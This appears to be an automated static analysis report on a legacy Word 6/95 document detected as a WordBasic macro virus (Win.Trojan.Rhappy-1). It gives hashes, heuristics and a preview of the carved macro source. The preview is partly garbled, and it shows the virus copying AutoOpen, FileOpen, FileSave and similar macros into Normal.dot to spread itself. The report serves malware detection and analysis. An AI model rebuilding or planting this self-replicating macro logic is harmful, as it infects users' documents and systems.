Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d005dfb94e83b9ab…

MALICIOUS

Office (OLE)

10.0 KB First seen: 2012-06-14
MD5: d9140f32fa08d968b368c16016669c2f SHA-1: 28a4bcb29ab905fe598276d039aee8d80c0a4612 SHA-256: d005dfb94e83b9ab80077f19de011ad2d7d34e1e20eeb5e355afe0aa414d687d
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy macro virus, specifically identified as a "RSN MACRO VIRUS Goat file" with explicit markers. ClamAV detection further confirms its malicious nature as Win.Trojan.Rhappy-1. The presence of WordBasic macro virus markers strongly indicates the use of Visual Basic for macro execution, likely for propagation or other malicious actions.

Heuristics 3

  • ClamAV: Win.Trojan.Rhappy-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Rhappy-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 3335 bytes
SHA-256: ab1acc7aa1220300522e17c0a768e892e1d8ddcb33889e46d7518eb07955a308
Preview script
First 1,000 lines of the extracted script
= = = 1 =   21349 *         21349 20325 ,         = =
MAIN
, - * ErrorHandler
    17524 $(2) + "\Normal.dot", FileName$() : "NoName"dpr Organizer .Copy, .Source = DefaultDir$(2) + "\Normal.dot", .Destin     20069 ,       ,      
, - * exit =
29285
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "RestoreDot" , = 3
, - * exist
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "NoName" , = 3
* exit
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "AutoOpen" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "FileOpen" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "FileSave" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "FileSaveAs" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "Temp" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "AutoOpen" , = "NoName" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "Temp" , = "ToolsMacro" , = 3
MAIN
dlg @cmd0050
dlg
Err = dlg
Err = 0 * exit
@cmd0050 dlg
@cmd802b , 32
* quit
@cmd802b       , 64
  - + , , @cmd6e65 = = = = = = =
MAIN
Dlg @cmd0054
  11879    
x = Dlg
x = 0 * quit
name$ = Dlg
dot = @cmd800f name$ , "."
dot 1 prefix$ = @cmd8008 name$ , dot 1
name$ = prefix$ = ".doc"
  @cmd6f42  
@cmd0054 = Name$ , = 1
, - * ErrorHandler
  @cmd6e61   ,       20069 ,       17524   +   25646 ,       21349 ,      
  @cmd6f42  
    =
29285
  @cmd6f42  
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "NoName" , = 3
, - * exist
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "RestoreDot" , = 3
* exit
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "RestoreDot" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "FileSave" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "FileSaveAs" , = 3
@cmd00de , = @cmd8025 , = "NoName" , = "AutoOpen" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "NoName" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "FileOpen" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "ToolsMacro" , = 3
@cmd00de , = @cmd8025 , = "ToolsMacro" , = "Temp" , = 3
MAIN
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "FileOpen" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "FileSaveAs" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "NoName" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "FileSave" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "ToolsMacro" , = 3
@cmd802b         , ,   , 32
MAIN
, - * ErrorHandler
    17524 $(2) + "\Normal.dot", FileName$() : "NoName"dpr Organizer .Copy, .Source = DefaultDir$(2) + "\Normal.dot", .Destin     20069 ,       ,      
, - * exit =
29285
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "RestoreDot" , = 3
, - * exist
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = @cmd8025 , = "NoName" , = 3
* exit
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "AutoOpen" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "FileOpen" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "FileSave" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "FileSaveAs" , = 3
@cmd00de , = @cmd8025 , = @cmd818c 2 = "\Normal.dot" , = "Temp" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "AutoOpen" , = "NoName" , = 3
@cmd00de , = @cmd818c 2 = "\Normal.dot" , = "Temp" , = "ToolsMacro" , = 3
MAIN

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